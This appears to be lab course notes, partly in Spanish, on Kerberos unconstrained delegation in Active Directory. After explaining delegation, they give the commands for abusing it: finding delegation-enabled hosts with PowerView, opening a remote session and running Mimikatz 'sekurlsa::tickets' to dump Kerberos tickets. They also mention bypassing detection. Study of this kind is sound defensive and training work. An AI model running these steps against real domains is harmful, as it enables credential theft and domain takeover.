# 17. Domain Privilege Escalation Unconstrained Delegation

## Priv Esc - Kerberos Delegation

- Kerberos Delegation allows to "reuse the end-user credentials to access resources hosted on a different server".
- This is typically useful in multi-tier service or applications where Kerberos Double Hop is required
- For example, users authenticates to a web server and web server makes request to a database server. The web server can request access to resources(all or some resources depending on the type of delegation) on the database server as the user and not as the web server's service account.
- Please note that, for the above example, the service account for web service must be trusted for delegation to be able to make requests as a user.

¿Qué es Kerberos Delegation?


Supongamos que este es un escenario al que Microsoft se enfrentó mientras alguien intentaba acceder a un recurso en un dominio, entonces, ¿qué pasa con los clientes de Microsoft que quieren hacer lo siguiente? Que un usuario se autentique en un servidor web en particular. Dependiendo de los privilegios del usuario se le mostrará información específica. La información que el usuario quiere ver se almacena en un servidor de base de datos, ahora si desea usar la auteticacion de kerberos para que algún usuario(Joe) se autentique en el servidor web, debería solo ver la información de la base de datos que sus privilegios le permiten. Ahora ¿cómo sabría el servidor de la base de datos que el servidor web necesita la información para un usuario en particular llamado Joe? Hablando de la autenticacion de kerberos, el servidor web debe tener alguna forma de hacerse pasar por Joe y autenticarse en el servidor de la base de datos como Joe. De manera similar con el registro de un usuario Administrador y su autenticación, es aquí en donde está el problema, "El clásico doble salto de Kerberos", el primer salto es donde el usuario se autentica no se le permite delegar credenciales a un segundo salto u otro servidor. Este es el clásico problema de doble operación de kerberos y para resolver este problema para que los usuarios puedan autenticarse en un servicio en particular y ese servicio pueda suplantar a ese usuario para múltiples acceso a múltiples cajas se llama derecho de delegación, este es el problema por el cual la delegación se introdujo una vez más, por lo que el problema está claro. El problema es que si un usuario se conecta a un sitio web, el servidor web debe tener la capacidad de suplantar a ese usuario para que pueda autenticarse en otras máquinas a las que el entrante no puede acceder directamente. Debería poder autenticarse en otras máquinas o conectarse a otras máquinas como ese usuario derecho que está suplantando a ese usuario ahora, esta fue la solución del problema.

En Windows Server 2003 salió una delegación sin restricciones ¿qué es una delegación sin restricciones? Un usuario se conectario al servidor web y ahora el servidor web después de un poco de magia de kerberos que pronto entenderá que el servidor web puede autenticarse en cualquier recurso en el dominio haciendose pasar por ese usuario. Por ejemplo, si el usuario Joe se conecta al servidor web y el servidor web tiene delegados sin restricciones, en él puede autenticarse en cualquier recurso, cualquier servidor, cualquier servicio en el dominio como Joe, es por eso que se llamó sin restricciones, es decir no hay reglas ni restricciones en los que el servidor web puede autenticarse después de la suplantación.

En resumen: Si el usuario se autentica en un servidor web y este realiza solicitudes al servidor de base de datos, ahora el servidor web puede solicitar acceso a los recursos en el servidor de la base de datos como el usuario que tiene lugar la suplantación y no como la cuenta de servicio del servidor web.


Cuando la delegación sin restricciones está configurada para una cuenta de servicio en particular, permite la delegación a cualquier servicio a cualquier recurso en el dominio como un usuario como el usuario entrante. ¿Cómo es posible?


## Priv Esc - Kerberos Delegation


## Discover domain computer wich have unconstrained delegation enabled using PowerView:

Se debe tener privilegios elevados en la máquina, o un shell con aquellos privilegios de sistema de esa máquina

Get-NetComputer -Unconstrained


`dcorp-appserv -> Unconstrained`

Obs: Los DC's siempre se mostrarán como Unconstrained, por ello se ignorará este mismo.

## Using ActiveDirectory module:

Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}

Una vez identificada la máquina con `Unconstrained Delegation` debemos comprometer el servidor donde la delegación sin restricciones está habilitada.

## Compromise the server(s) where Unconstrained delegation is enabled

## Run following command on it to check if any DA token is available:

Invoke-Mimikatz -Command '"sekurlsa::tickets"'

Ejecutamos un proceso de Powershell con privilegios del usuario administrador de la aplicación:


Verificando si este usuario tiene privilegios de administrador local en cualquier otro lugar donde no encontremos acceso de administrador local


Vemos que tenemos acceso como admin local a `dcorp-appsrv` y también pertenece a `Unconstrained Delegation`. Podemos extraer el TGT de cualquier usuario interesante o cualquier usuario en el cuadro de servicio de la aplicación, de modo que cada vez que la máquina esté comprometida podamos iniciar sesión allí y verificar si hay algún usuario interesante o token disponible.

Ahora podemos crear una sesión en la aplicación `dcorp-appsrv`

$sess = New-PSSession -ComputerName dcorp-appsrv.dollarcorp.moneycorp.local
Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess


El mimikatz ha sido detectado, por lo que se realizará un bypass:

Enter-PSSession -Session $sess



Ahora se exportará todos los boletos disponibles, los tickets se guardarán en el disco

Invoke-Mimikatz -Command '"sekurlsa::tickets"'